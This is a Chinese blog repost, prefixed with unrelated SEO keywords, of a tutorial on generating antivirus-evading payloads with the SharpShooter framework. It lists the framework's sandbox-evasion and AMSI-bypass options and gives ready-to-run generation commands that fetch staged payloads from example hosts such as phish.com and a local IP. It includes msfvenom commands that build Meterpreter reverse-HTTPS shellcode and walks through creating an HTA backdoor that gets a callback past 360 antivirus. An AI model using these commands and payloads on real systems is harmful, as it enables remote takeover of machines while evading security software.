麦德龙网站建设目标,去马来西亚做网站网站,网站开发类型,简单网页制作代码html转载#xff1a;https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg
免杀能力一览表 几点说明#xff1a;
1、上表中标识 √ 说明相应杀毒软件未检测出病毒#xff0c;也就是代表了Bypass。
2、为了更好的对比效果#xff0c;大部分测试payload均使用msf的windows/mete…转载https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg
免杀能力一览表 几点说明
1、上表中标识 √ 说明相应杀毒软件未检测出病毒也就是代表了Bypass。
2、为了更好的对比效果大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒所以默认情况下360和火绒杀毒情况指的是静态动态查杀。360杀毒版本5.0.0.8160(2020.01.01)火绒版本5.0.34.16(2020.01.01)360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com简称VT上在线查杀所以可能只是代表了静态查杀能力数据仅供参考不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软这样的技术肯定是有的只是没被公开一旦公开第二天就能被杀了其实我们只要能bypass目标主机上的杀软就足够了。
一、SharpShooter介绍
Sharpshooter2018年开源的工具知名度较高基于python2开发是比较专业的Payload生成框架支持反沙箱、分阶段和无阶段的Payload执行并能够生成hta、js、jse、vba、vbe、vbs、wsf等多种格式的payload创建的Payload可用于编译执行任意C#源代码。Sharpshooter还能对Payload使用随机密钥进行RC4加密还能检测沙箱从而避开杀软的检测。
二、安装SharpShooter
安装比较简单python2执行环境。
先从github上clone到本地
# git clone https://github.com/mdsecactivebreach/SharpShooter进入SharpShooter目录安装python依赖库 pip install -r requirements.txt执行python sharpShooter.py即可 三、SharpShooter使用说明
SharpShooter支持的参数比较多可以像垒积木一样构造不同的payload。 -h, --help 帮助菜单--stageless 创建一个不分阶段的payload--dotnetver ver 制定dotnet的版本2或者4--com com COM 分阶段技术: 如outlook, shellbrowserwin, wmi, wscript, xslremote等--awl awl 使用程序白名单技术: wmic, regsvr32--awlurl awlurl 指定取回 XSL/SCT payload的url地址--payload format Payload 类型: hta, js, jse, vbe, vbs, wsf, macro, slk--sandbox types 绕过沙盒技术:[1] Key to Domain (e.g. 1CONTOSO)[2] Ensure Domain Joined[3] Check for Sandbox Artifacts[4] Check for Bad MACs[5] Check for Debugging--amsi amsi 使用AMSI绕过技术: amsienable--delivery type 分发方法: web, dns, both--rawscfile path 指定生成payload的shellcode--shellcode 使用内置的shellcode--scfile path 指定C#的shellcode的路径--refs refs 指定C#需要的依赖文件如mscorlib.dll等--namespace ns 指定C#的Namespace如Foo.bar--entrypoint ep 指定C#需要执行的方法如Main--web web 指定web分发的地址--dns dns 指定Dns分发的地址--output output 输出文件的名称--smuggle HTML内的隐藏文件--template tpl 指定生成html的template文件 (e.g. mcafee)SharpSHooter支持分阶段Staged和无阶段ShagelessPayload执行。分阶段执行可以使用HTTP(S)或DNS这两种方式进行传输或者两者同时使用。当分阶段Payload被执行时会尝试检索已经压缩的C#源代码文件然后使用所选择的方式进行Base64编码。随后借助.NET CodeDom编译器将C#源代码下载并编译到主机上。最后从源代码执行所需的方法。下图展现了SharpShooter在分阶段过程中的具体操作步骤 SharpShooter的使用还算比较简单的官方提供了各种payload的生成命令。 1、不分阶段的JavaScript SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1contoso,2,32、不分阶段的hta
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee3、分阶段的VBS SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1contoso --smuggle --template mcafee --dotnetver 44、使用js加载自定义C#代码 SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee5、使用vbs调用COM方法执行wmic.exe
SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl6、创建hta调用XMLDOM来执行shellcode
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl7、创建VBA调用XMLDOM来执行shellcode SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl8、创建Excel 4.0 符号链接文件执行shellcode
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee要求shellcode不能包含空字符
msfvenom -p generic/custom PAYLOADFILE./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b \x00四、利用SharpShooter生成后门
以一个比较简单的为例进行测试创建一个包含后门的HTA。
要先用msfvenom生成一个raw格式的shellcode msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST10.211.55.2 LPORT3333 -f raw -o shellcode.txt然后使用SharpShooter创建hta后门 SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee在测试机上运行foo.hta理论是也可以使用mshta.exe http://ip/foo.hta来执行但我没执行成功。 msf中可正常上线 打开杀软进行测试,火绒静态和动态都可以查杀360卫士和360杀毒没有报警。 又试了下SharpShooter生成的js之类的payload查杀率也差不多而且都被标注了Sharpshooter的病毒名称说明SharpShooter默认生成的样本特征都已经被杀软列入特征库了。
五、SharpShooter小结
SharpShooter算是比较复杂的一个框架支持多种payload能在.NET框架的v2、v3和v4版本上都能执行涵盖了绝大部分的Windows系统。但也因为SharpShooter的知名度比较高默认生成的payload已经被查杀的比较严重但其实现方式和思路是比较值得人学习的。
而且在2019年1月Sharpshooter加入了AMSI的bypass模板使用参数–amsi amsienable可以使用该模块来Kill掉AMSI感兴趣的可以试一下。
六、参考资料
官方githubhttps://github.com/mdsecactivebreach/SharpShooter
如何使用SharpShooter生成Payloadhttps://www.anquanke.com/post/id/100533
